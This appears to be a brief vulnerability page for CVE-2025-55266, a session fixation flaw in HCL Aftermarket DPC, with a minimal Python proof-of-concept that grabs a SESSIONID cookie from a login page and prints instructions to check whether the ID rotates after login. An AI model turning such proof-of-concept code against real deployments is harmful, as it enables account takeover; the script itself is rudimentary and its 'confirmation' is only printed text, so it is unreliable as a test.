CVE-2025-55266 HCL Aftermarket DPC 会话固定漏洞

# PoC Demonstration for Session Fixation # Attacker obtains a session ID and sends it to victim import requests def check_session_fixation(url): # 1. Attacker gets a session ID s = requests.Session() s.get(url) fixed_sid = s.cookies.get('SESSIONID') print(f"[+] Attacker sets Session ID: {fixed_sid}") # 2. Victim logs in (Simulated) # If the server does not issue a new SESSIONID after login, # the attacker can use 'fixed_sid' to access the account. print(f"[+] Check if server rotates Session ID after login.") print(f"[+] If not, vulnerability confirmed.") check_session_fixation('https://target-dpc.com/login')